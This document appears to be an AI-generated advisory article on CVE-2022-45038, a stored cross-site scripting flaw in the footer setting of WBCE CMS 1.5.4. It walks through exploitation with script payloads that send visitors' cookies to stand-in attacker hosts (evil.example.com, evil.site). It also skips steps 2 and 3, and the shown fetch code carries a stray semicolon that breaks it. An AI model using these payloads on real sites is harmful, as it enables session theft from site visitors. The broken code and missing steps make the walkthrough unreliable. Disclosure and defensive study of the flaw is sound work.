Discovered: November 2022  
Affected Software: WBCE CMS v1.5.4  
Vulnerability Type: Stored Cross-Site Scripting (XSS)  
Attack Vector: Admin panel, Website Footer field  
Reference: NVD Detail – CVE-2022-45038


WBCE CMS is a popular open source content management system, often chosen for its simplicity and flexibility. But in version 1.5.4, a critical security hole was found, allowing attackers to inject malicious scripts that execute in the browsers of anyone who visits the affected CMS site. This vulnerability is tracked as CVE-2022-45038.

This article details what the vulnerability is, how it works, and shows you step-by-step how an attacker might exploit it. I also include code examples and links to further reading so you can understand and test the issue yourself (on safe environments only, of course).

What is CVE-2022-45038?

The vulnerability is a classic *stored XSS* issue, located in admin/settings/save.php. When administrators or users with access to admin settings change the "Website Footer" text, their input isn’t properly sanitized or escaped.

In plain words:  
If an attacker can access this field, they can store malicious JavaScript in the website’s footer. This code then runs in visitors’ browsers, stealing cookies, creating fake login forms, or defacing the page.

Affects all users, including administrators, on the front-end.

Even worse – in many cases, attackers can combine this with other vulnerabilities or poor admin password choices to gain full control of a site.

Step 1: Access the Admin Settings

1. The attacker needs to log in to the WBCE backend as an admin (or as a user with rights to edit settings).

Here, the attacker crafts a payload, for example

<script>alert("XSS Exploited!");</script>

Or, to steal cookies

<script>fetch('https://evil.example.com/?c='+document.cookie)</script>

!Admin Panel Footer Injection

Step 4: Wait for Victims

Every time a user – admin or visitor – opens the website, the malicious script is executed as part of the footer, with their browser privileges.

Example malicious input

<script>
  // Send document cookies to attacker's server
  fetch('https://evil.site/stolen?c='; + encodeURIComponent(document.cookie));
</script>

How it appears in WBCE’s HTML

<footer>
  ... legitimate footer content ...
  <script>
    fetch('https://evil.site/stolen?c='; + encodeURIComponent(document.cookie));
  </script>
</footer>

What visitors see:
Nothing obvious! But their session or login cookies are quietly sent to the attacker.

Video Demonstration

For a step-by-step live example, this video (not affiliated) covers XSS basics in CMS platforms.  
For a WBCE-specific PoC, you can try setting up a safe local environment using WBCE’s download page and test the payload above.

How to Fix or Protect Against This

- Upgrade: The WBCE developers patched this in later versions. Upgrade immediately to a secure release.
- Input Validation: Always encode or sanitize HTML user input. PHP has functions like htmlspecialchars().

References and More Reading

- CVE-2022-45038 at NVD
- WBCE CMS Security Forums
- OWASP XSS Cheat Sheet
- What is Stored XSS? (Acunetix)

Conclusion

CVE-2022-45038 is a clear example of why input sanitization is critical in web applications, especially in places where user-supplied text is rendered as HTML. If you’re using WBCE CMS v1.5.4 or older, you are at risk for persistent XSS attacks from anyone with admin backend access.

Patch now. If you’re a developer, add content filtering or escaping.  
Test your systems! Use the PoC above (on a development environment ONLY) to see if you’re protected.


*Exclusive report by AI | Please use responsibly, only test vulnerabilities on systems you own or have explicit permission to analyze.*

Timeline

Published on: 11/25/2022 16:15:00 UTC
Last modified on: 11/28/2022 21:07:00 UTC